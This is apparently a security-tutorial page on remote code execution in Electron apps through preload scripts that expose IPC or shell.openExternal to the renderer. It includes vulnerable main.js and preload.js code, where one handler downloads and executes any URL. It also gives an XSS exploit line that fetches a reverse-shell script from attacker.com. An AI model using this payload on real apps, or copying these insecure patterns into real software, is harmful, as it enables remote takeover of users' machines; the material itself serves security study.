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If the preload script exposes an IPC endpoint from the main.js file, the renderer process will be able to access it and if vulnerable, a RCE might be possible.

All these examples were taken from here https://www.youtube.com/watch?v=xILfQGkLXQo****

Example 1

Check how the main.js listens on getUpdate and will download and execute any URL passed.
Check also how preload.js exposes any IPC event from main.

// Part of code of main.js
ipcMain.on('getUpdate', (event, url) => {
	console.log('getUpdate: ' + url)
	mainWindow.webContents.downloadURL(url)
	mainWindow.download_url = url
});
  
mainWindow.webContents.session.on('will-download', (event, item, webContents) => {
	console.log('downloads path=' + app.getPath('downloads'))
	console.log('mainWindow.download_url=' + mainWindow.download_url);
	url_parts = mainWindow.download_url.split('/')
	filename = url_parts[url_parts.length-1]
	mainWindow.downloadPath = app.getPath('downloads') + '/' + filename
	console.log('downloadPath=' + mainWindow.downloadPath)
	// Set the save path, making Electron not to prompt a save dialog.
	item.setSavePath(mainWindow.downloadPath)

	item.on('updated', (event, state) => {
		if (state === 'interrupted') {
			console.log('Download is interrupted but can be resumed')
		}
		else if (state === 'progressing') {
			if (item.isPaused()) console.log('Download is paused')
			else console.log(`Received bytes: ${item.getReceivedBytes()}`)
		}
	})

	item.once('done', (event, state) => {
		if (state === 'completed') {
			console.log('Download successful, running update')
			fs.chmodSync(mainWindow.downloadPath, 0755);
			var child = require('child_process').execFile;
			child(mainWindow.downloadPath, function(err, data) {
				if (err) { console.error(err); return; }
				console.log(data.toString());
			});
      			}
		else console.log(`Download failed: ${state}`)
	})
})

// Part of code of preload.js
window.electronSend = (event, data) => {
	ipcRenderer.send(event, data);
};

Exploit:

<script>
electronSend("getUpdate","https://attacker.com/path/to/revshell.sh");
</script>

Example 2

If the preload script exposes directly to the renderer a way t call shell.openExternal its possible to obtains RCE

// Part of preload.js code
window.electronOpenInBrowser = (url) => {
	shell.openExternal(url);
};

Example 3

Is the preload script exposes ways to completely communicate with the main process, an XSS will be able to send any event. The impact of this depends on what the main process exposes in terms of IPC.

window.electronListen = (event, cb) => {
	ipcRenderer.on(event, cb);
};

window.electronSend = (event, data) => {
	ipcRenderer.send(event, data);
};